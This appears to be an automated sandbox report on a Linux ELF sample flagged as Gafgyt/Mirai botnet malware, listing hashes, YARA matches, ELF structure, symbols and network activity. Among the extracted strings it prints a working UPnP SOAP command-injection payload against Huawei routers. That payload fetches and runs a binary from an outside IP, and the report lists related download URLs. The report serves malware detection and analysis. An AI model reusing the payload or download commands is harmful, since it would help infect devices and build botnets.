Edit tour

Linux Analysis Report
17CiAkKMyC.elf

Overview

General Information

Sample name:	17CiAkKMyC.elf renamed because original name is a hash value
Original sample name:	56678e12e615efcf3b48d15c66b48261.elf
Analysis ID:	1530971
MD5:	56678e12e615efcf3b48d15c66b48261
SHA1:	8c6e836b1481b6fcfb727db28aa47ad9ee81954b
SHA256:	3ec2220ac979688ea252f4bd6a8890593d4466055cc3dadebc0a02893a3dd6c4
Tags:	32elfgafgyt
Infos:

Detection

Gafgyt, Mirai

Score:	96
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Gafgyt

Yara detected Mirai

Executes the "rm" command used to delete files or directories

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1530971
Start date and time:	2024-10-10 18:24:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	17CiAkKMyC.elf renamed because original name is a hash value
Original Sample Name:	56678e12e615efcf3b48d15c66b48261.elf
Detection:	MAL
Classification:	mal96.troj.linELF@0/0@2/0
Cookbook Comments:	Analysis time extended to 480s due to sleep detection in submitted sample

Runtime Messages

Command:	/tmp/17CiAkKMyC.elf
PID:	5480
Exit Code:	255
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

dash New Fork (PID: 5468, Parent: 3634)

rm (PID: 5468, Parent: 3634, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.czFjcWPh1i /tmp/tmp.ElHTL6aAuP /tmp/tmp.rpE6mXwnI3

dash New Fork (PID: 5469, Parent: 3634)

rm (PID: 5469, Parent: 3634, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.czFjcWPh1i /tmp/tmp.ElHTL6aAuP /tmp/tmp.rpE6mXwnI3

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
17CiAkKMyC.elf	JoeSecurity_Gafgyt	Yara detected Gafgyt	Joe Security
17CiAkKMyC.elf	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
17CiAkKMyC.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
17CiAkKMyC.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
17CiAkKMyC.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x11090:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x110a4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x110b8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x110cc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x110e0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x110f4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11108:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1111c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11130:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11144:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11158:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1116c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11180:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11194:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x111a8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x111bc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x111d0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x111e4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x111f8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1120c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x11220:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
17CiAkKMyC.elf	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x117f4:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
17CiAkKMyC.elf	Linux_Trojan_Mirai_0bce98a2	unknown	unknown	0x12ce8:$a: 4B 52 41 00 46 47 44 43 57 4E 56 00 48 57 43 4C 56 47 41 4A
17CiAkKMyC.elf	Mirai_Botnet_Malware	Detects Mirai Botnet Malware	Florian Roth	0x12504:$x2: /dev/misc/watchdog 0x124f4:$x3: /dev/watchdog 0x12f98:$s1: LCOGQGPTGP 0x12e18:$s4: QWRGPTKQMP 0x12cf4:$s5: HWCLVGAJ
Click to see the 3 entries

String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://185.196.10.215/bins/mips; /bin/busybox chmod 777 * atp.mips; ./atp.mips huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: 17CiAkKMyC.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 17CiAkKMyC.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_ea92cca8 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e, id = ea92cca8-bba7-4a1c-9b88-a2d051ad0021, last_modified = 2021-09-16
Source: 17CiAkKMyC.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_0bce98a2 reference_sample = 1b20df8df7f84ad29d81ccbe276f49a6488c2214077b13da858656c027531c80, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 993d0d2e24152d0fb72cc5d5add395bed26671c3935f73386341398b91cb0e6e, id = 0bce98a2-113e-41e1-95c9-9e1852b26142, last_modified = 2021-09-16
Source: 17CiAkKMyC.elf, type: SAMPLE	Matched rule: Mirai_Botnet_Malware date = 2016-10-04, hash5 = 420bf9215dfb04e5008c5e522eee9946599e2b323b17f17919cd802ebb012175, hash4 = 2efa09c124f277be2199bee58f49fc0ce6c64c0bef30079dfb3d94a6de492a69, hash3 = 20683ff7a5fec1237fc09224af40be029b9548c62c693844624089af568c89d4, hash2 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, hash1 = 05c78c3052b390435e53a87e3d31e9fb17f7c76bb4df2814313bca24735ce81c, author = Florian Roth, description = Detects Mirai Botnet Malware, hash10 = c61bf95146c68bfbbe01d7695337ed0e93ea759f59f651799f07eecdb339f83f, hash11 = d9573c3850e2ae35f371dff977fc3e5282a5e67db8e3274fd7818e8273fd5c89, hash12 = f1100c84abff05e0501e77781160d9815628e7fd2de9e53f5454dbcac7c84ca5, hash9 = bf0471b37dba7939524a30d7d5afc8fcfb8d4a7c9954343196737e72ea4e2dc4, hash8 = 89570ae59462e6472b6769545a999bde8457e47ae0d385caaa3499ab735b8147, hash7 = 70bb0ec35dd9afcfd52ec4e1d920e7045dc51dca0573cd4c753987c9d79405c0, hash6 = 62cdc8b7fffbaf5683a466f6503c03e68a15413a90f6afd5a13ba027631460c6, reference = Internal Research, license = https://creativecommons.org/licenses/by-nc/4.0/, hash13 = fb713ccf839362bf0fbe01aedd6796f4d74521b133011b408e42c1fd9ab8246b

Source: classification engine

Classification label: mal96.troj.linELF@0/0@2/0

Source: /usr/bin/dash (PID: 5468)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.czFjcWPh1i /tmp/tmp.ElHTL6aAuP /tmp/tmp.rpE6mXwnI3			Jump to behavior
Source: /usr/bin/dash (PID: 5469)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.czFjcWPh1i /tmp/tmp.ElHTL6aAuP /tmp/tmp.rpE6mXwnI3			Jump to behavior

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match

File source: 17CiAkKMyC.elf, type: SAMPLE

Yara detected Mirai

Source: Yara match

File source: 17CiAkKMyC.elf, type: SAMPLE

Remote Access Functionality

Yara detected Gafgyt

Source: Yara match

File source: 17CiAkKMyC.elf, type: SAMPLE

Yara detected Mirai

Source: Yara match

File source: 17CiAkKMyC.elf, type: SAMPLE

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 File Deletion	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
17CiAkKMyC.elf	58%	ReversingLabs	Linux.Trojan.LnxMirai
17CiAkKMyC.elf	100%	Avira	EXP/ELF.Gafgyt.X

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.196.10.215/bins/x86	17CiAkKMyC.elf	false		unknown
http://185.196.10.215/bins/mips;	17CiAkKMyC.elf	false		unknown
http://185.196.10.215/atp%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$	17CiAkKMyC.elf	false		unknown
http://schemas.xmlsoap.org/soap/encoding/	17CiAkKMyC.elf	false	URL Reputation: safe	unknown
http://185.196.10.215/bins/mips	17CiAkKMyC.elf	false		unknown
http://purenetworks.com/HNAP1/	17CiAkKMyC.elf	false		unknown
http://schemas.xmlsoap.org/soap/envelope/	17CiAkKMyC.elf	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.125.190.26	unknown	United Kingdom		41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.125.190.26	fNR6GoKo15.elf	Get hash	malicious	Mirai	Browse
	na.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Unknown	Browse
	oQoQiI0Pdz.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Gafgyt	Browse
	na.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	fNR6GoKo15.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	maucl6PmW8.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	na.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	na.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	na.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	na.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	na.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	na.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	na.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	na.elf	Get hash	malicious	Unknown	Browse	162.213.35.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	fNR6GoKo15.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	perfcc.elf	Get hash	malicious	Xmrig	Browse	91.189.91.42
	na.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	na.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Gafgyt, Mirai	Browse	91.189.91.42
	na.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	na.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	na.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	na.elf	Get hash	malicious	Unknown	Browse	91.189.91.42

File type:	ELF 32-bit LSB executable, Synopsys ARCv3 32-bit, version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, for GNU/Linux 4.8.0, stripped
Entropy (8bit):	6.1075276620066195
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	17CiAkKMyC.elf
File size:	83'448 bytes
MD5:	56678e12e615efcf3b48d15c66b48261
SHA1:	8c6e836b1481b6fcfb727db28aa47ad9ee81954b
SHA256:	3ec2220ac979688ea252f4bd6a8890593d4466055cc3dadebc0a02893a3dd6c4
SHA512:	f1cbc38ccf19bb689300a47afc8e574e091bba74552fa0335311a98b17b91995f68d80e98ceddcf7b2a55ad74dbb13caf6eea790bc95080c4dc90c5759c50835
SSDEEP:	1536:+8Lm4aPIBl4EvazKs8JzYfkv7qynIzZmligtM5CM1SImJTgFASc44ejW:rLMPIPs8JzYfUJaZmM1SI
TLSH:	5783E75BB182BBB1C86024346BDF05563ED38FF12D1B8A57B1788137EA650876A73EC4
File Content Preview:	.ELF........................4...`B......4. ...(.........4...4...4.......................4...4...4..................................../.../....... .......?..._..._..,....D....... ......$?..$_..$_......................H...H...H... ... ...........Q.td.......

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x11004
Flags:	0x400
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	8
Section Header Offset:	82528
Section Header Size:	40
Number of Section Headers:	23
Header String Table Index:	22

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Info	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0	0
.interp	PROGBITS	0x10134	0x134	0x14	0x0	0x2	A	0	0	1
.note.ABI-tag	NOTE	0x10148	0x148	0x20	0x0	0x2	A	0	0	4
.hash	HASH	0x10168	0x168	0x17c	0x4	0x2	A	5	0	4
.gnu.hash	GNU_HASH	0x102e4	0x2e4	0x1c0	0x4	0x2	A	5	0	4
.dynsym	DYNSYM	0x104a4	0x4a4	0x380	0x10	0x2	A	6	1	4
.dynstr	STRTAB	0x10824	0x824	0x19e	0x0	0x2	A	0	0	1
.rela.plt	RELA	0x109c4	0x9c4	0x294	0xc	0x42	AI	5	17	4
.init	PROGBITS	0x10c58	0xc58	0x1c	0x0	0x6	AX	0	0	4
.plt	PROGBITS	0x10c74	0xc74	0x390	0x0	0x6	AX	0	0	4
.text	PROGBITS	0x11004	0x1004	0x10070	0x0	0x6	AX	0	0	4
.fini	PROGBITS	0x21074	0x11074	0x1c	0x0	0x6	AX	0	0	4
.rodata	PROGBITS	0x21090	0x11090	0x1f2c	0x0	0x2	A	0	0	4
.eh_frame	PROGBITS	0x22fbc	0x12fbc	0x4	0x0	0x2	A	0	0	4
.init_array	INIT_ARRAY	0x25f1c	0x13f1c	0x4	0x4	0x3	WA	0	0	4
.fini_array	FINI_ARRAY	0x25f20	0x13f20	0x4	0x4	0x3	WA	0	0	4
.dynamic	DYNAMIC	0x25f24	0x13f24	0xd0	0x8	0x3	WA	6	0	4
.got.plt	PROGBITS	0x25ff4	0x13ff4	0xe8	0x0	0x3	WA	0	0	4
.data	PROGBITS	0x260dc	0x140dc	0x6c	0x0	0x3	WA	0	0	4
.bss	NOBITS	0x26148	0x14148	0x4274	0x0	0x3	WA	0	0	4
.comment	PROGBITS	0x0	0x14148	0x38	0x1	0x30	MS	0	0	1
.ARC.attributes	<unknown>	0x0	0x14180	0x26	0x0	0x0		0	0	1
.shstrtab	STRTAB	0x0	0x141a6	0xb7	0x0	0x0		0	0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Prog Interpreter	Section Mappings
PHDR	0x34	0x10034	0x10034	0x100	0x100	2.5570	0x4	R	0x4
INTERP	0x134	0x10134	0x10134	0x14	0x14	3.6842	0x4	R	0x1	/lib/ld-uClibc.so.0	.interp
LOAD	0x0	0x10000	0x10000	0x12fc0	0x12fc0	6.3200	0x5	R E	0x2000		.interp .note.ABI-tag .hash .gnu.hash .dynsym .dynstr .rela.plt .init .plt .text .fini .rodata .eh_frame
LOAD	0x13f1c	0x25f1c	0x25f1c	0x22c	0x44a0	3.8044	0x6	RW	0x2000		.init_array .fini_array .dynamic .got.plt .data .bss
DYNAMIC	0x13f24	0x25f24	0x25f24	0xd0	0xd0	2.4537	0x6	RW	0x4		.dynamic
NOTE	0x148	0x10148	0x10148	0x20	0x20	1.4988	0x4	R	0x4		.note.ABI-tag
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x10
GNU_RELRO	0x13f1c	0x25f1c	0x25f1c	0xe4	0xe4	2.5035	0x4	R	0x1		.init_array .fini_array .dynamic

Dynamic Tags

Type	Meta	Value	Tag
DT_NEEDED	sharedlib	libc.so.0	0x1
DT_INIT	value	0x10c58	0xc
DT_FINI	value	0x21074	0xd
DT_INIT_ARRAY	value	0x25f1c	0x19
DT_INIT_ARRAYSZ	bytes	4	0x1b
DT_FINI_ARRAY	value	0x25f20	0x1a
DT_FINI_ARRAYSZ	bytes	4	0x1c
DT_HASH	value	0x10168	0x4
DT_GNU_HASH	value	0x102e4	0x6ffffef5
DT_STRTAB	value	0x10824	0x5
DT_SYMTAB	value	0x104a4	0x6
DT_STRSZ	bytes	414	0xa
DT_SYMENT	bytes	16	0xb
DT_INIT	value	0x10c58	0xc
DT_FINI	value	0x21074	0xd
DT_DEBUG	value	0x0	0x15
DT_PLTGOT	value	0x10c74	0x3
DT_PLTRELSZ	bytes	660	0x2
DT_PLTREL	pltrel	DT_RELA	0x14
DT_JMPREL	value	0x109c4	0x17
DT_NULL	value	0x0	0x0

Symbols

Name	Section Name	Value	Symbol Type	Symbol Bind	Symbol Visibility	Ndx
	.dynsym	0x0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__errno_location	.dynsym	0x10f44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
__uClibc_main	.dynsym	0x10eb4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
accept	.dynsym	0x10da4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
bind	.dynsym	0x10de4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
calloc	.dynsym	0x10db4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
chdir	.dynsym	0x10e14	FUNC	<unknown>	DEFAULT	SHN_UNDEF
clock	.dynsym	0x10f84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
close	.dynsym	0x10fc4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
closedir	.dynsym	0x10fa4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
connect	.dynsym	0x10cb4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
exit	.dynsym	0x10f54	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fcntl	.dynsym	0x10fb4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
fork	.dynsym	0x10ea4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
free	.dynsym	0x10fd4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getpid	.dynsym	0x10ce4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getppid	.dynsym	0x10ef4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getsockname	.dynsym	0x10ff4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
getsockopt	.dynsym	0x10f24	FUNC	<unknown>	DEFAULT	SHN_UNDEF
htonl	.dynsym	0x10e64	FUNC	<unknown>	DEFAULT	SHN_UNDEF
htons	.dynsym	0x10f34	FUNC	<unknown>	DEFAULT	SHN_UNDEF
inet_addr	.dynsym	0x10df4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
ioctl	.dynsym	0x10c94	FUNC	<unknown>	DEFAULT	SHN_UNDEF
kill	.dynsym	0x10dd4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
listen	.dynsym	0x10e94	FUNC	<unknown>	DEFAULT	SHN_UNDEF
malloc	.dynsym	0x10d24	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memcpy	.dynsym	0x10d04	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memmove	.dynsym	0x10cd4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
memset	.dynsym	0x10ec4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
ntohl	.dynsym	0x10e04	FUNC	<unknown>	DEFAULT	SHN_UNDEF
ntohs	.dynsym	0x10ee4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
open	.dynsym	0x10f74	FUNC	<unknown>	DEFAULT	SHN_UNDEF
opendir	.dynsym	0x10f14	FUNC	<unknown>	DEFAULT	SHN_UNDEF
prctl	.dynsym	0x10cf4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
rand	.dynsym	0x10e34	FUNC	<unknown>	DEFAULT	SHN_UNDEF
read	.dynsym	0x10e54	FUNC	<unknown>	DEFAULT	SHN_UNDEF
readdir	.dynsym	0x10d74	FUNC	<unknown>	DEFAULT	SHN_UNDEF
readlink	.dynsym	0x10d14	FUNC	<unknown>	DEFAULT	SHN_UNDEF
realloc	.dynsym	0x10e84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
recv	.dynsym	0x10ca4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
recvfrom	.dynsym	0x10d44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
select	.dynsym	0x10d64	FUNC	<unknown>	DEFAULT	SHN_UNDEF
send	.dynsym	0x10d94	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sendto	.dynsym	0x10e74	FUNC	<unknown>	DEFAULT	SHN_UNDEF
setsid	.dynsym	0x10f94	FUNC	<unknown>	DEFAULT	SHN_UNDEF
setsockopt	.dynsym	0x10e24	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sigaddset	.dynsym	0x10d84	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sigemptyset	.dynsym	0x10cc4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
signal	.dynsym	0x10e44	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sigprocmask	.dynsym	0x10fe4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
sleep	.dynsym	0x10d34	FUNC	<unknown>	DEFAULT	SHN_UNDEF
socket	.dynsym	0x10d54	FUNC	<unknown>	DEFAULT	SHN_UNDEF
srand	.dynsym	0x10ed4	FUNC	<unknown>	DEFAULT	SHN_UNDEF
strlen	.dynsym	0x10f64	FUNC	<unknown>	DEFAULT	SHN_UNDEF
time	.dynsym	0x10f04	FUNC	<unknown>	DEFAULT	SHN_UNDEF
write	.dynsym	0x10dc4	FUNC	<unknown>	DEFAULT	SHN_UNDEF

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 10, 2024 18:25:07.877640963 CEST	46540	443	192.168.2.14	185.125.190.26
Oct 10, 2024 18:25:38.852396011 CEST	46540	443	192.168.2.14	185.125.190.26

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 10, 2024 18:27:42.174618006 CEST	52085	53	192.168.2.14	1.1.1.1
Oct 10, 2024 18:27:42.174679995 CEST	32896	53	192.168.2.14	1.1.1.1
Oct 10, 2024 18:27:42.182248116 CEST	53	32896	1.1.1.1	192.168.2.14
Oct 10, 2024 18:27:42.182348013 CEST	53	52085	1.1.1.1	192.168.2.14

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 10, 2024 18:27:42.174618006 CEST	192.168.2.14	1.1.1.1	0x5290	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:27:42.174679995 CEST	192.168.2.14	1.1.1.1	0xcd5e	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 10, 2024 18:27:42.182348013 CEST	1.1.1.1	192.168.2.14	0x5290	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Oct 10, 2024 18:27:42.182348013 CEST	1.1.1.1	192.168.2.14	0x5290	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: dash PID: 5468, Parent PID: 3634

General

Start time (UTC):	16:24:48
Start date (UTC):	10/10/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	16:24:48
Start date (UTC):	10/10/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.czFjcWPh1i /tmp/tmp.ElHTL6aAuP /tmp/tmp.rpE6mXwnI3
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	16:24:48
Start date (UTC):	10/10/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	16:24:48
Start date (UTC):	10/10/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.czFjcWPh1i /tmp/tmp.ElHTL6aAuP /tmp/tmp.rpE6mXwnI3
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
